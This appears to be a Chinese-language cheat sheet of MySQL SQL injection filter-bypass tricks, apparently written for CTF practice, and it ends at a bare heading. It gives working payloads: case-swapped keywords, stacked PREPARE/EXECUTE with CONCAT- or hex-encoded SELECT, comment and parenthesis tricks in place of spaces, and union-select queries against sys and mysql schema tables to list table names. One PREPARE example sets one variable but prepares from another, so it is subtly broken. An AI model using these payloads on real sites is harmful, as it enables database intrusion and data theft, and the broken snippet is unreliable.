大小写绕过
or==>OR
union==>UnIon
Select被过滤
select被过滤一般只有在堆叠注入的情况下才可以绕过,除了极个别不需要select可以直接用password或者flag进行查询的情况
预编译
# 定义预处理语句
PREPARE stmt_name FROM preparable_stmt;
# 执行预处理语句
EXECUTE stmt_name [USING @var_name [, @var_name] ...];
# 预定义变量
SET @a="xxxxxxx"
当select被过滤时,可以通过构造:
SET @a=CONCAT('se','lect * from `xxxxx`;');prepare stmt from @sql;execute stmt;#
或
set @x=0x73656C656374202A2066726F6D207461626C65;prepare a from @x;execute a;
其中
0x73656C656374202A2066726F6D207461626C65
就是select * from table
的16进制。空格被过滤
使用注释符
/**/
select/**/columns/**/from/**/tables
使用括号
()
select(columns)from(tables)
-
=被过滤
使用like 、rlike 、regexp 或者 使用< 或者 >
information被过滤
sys.schema_auto_increment_columns
-1' union select 1,(select group_concat(table_name) from sys.schema_auto_increment_columns where table_schema=database()),3 --+
sys.schema_table_statistics_with_buffer
?id = -1' union select 1,(select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),3 --+
mysql.innodb_table_stats&mysql.innodb_index_stats
select group_concat(table_name) from mysql.innodb_table_stats where database_name=database()
无列名注入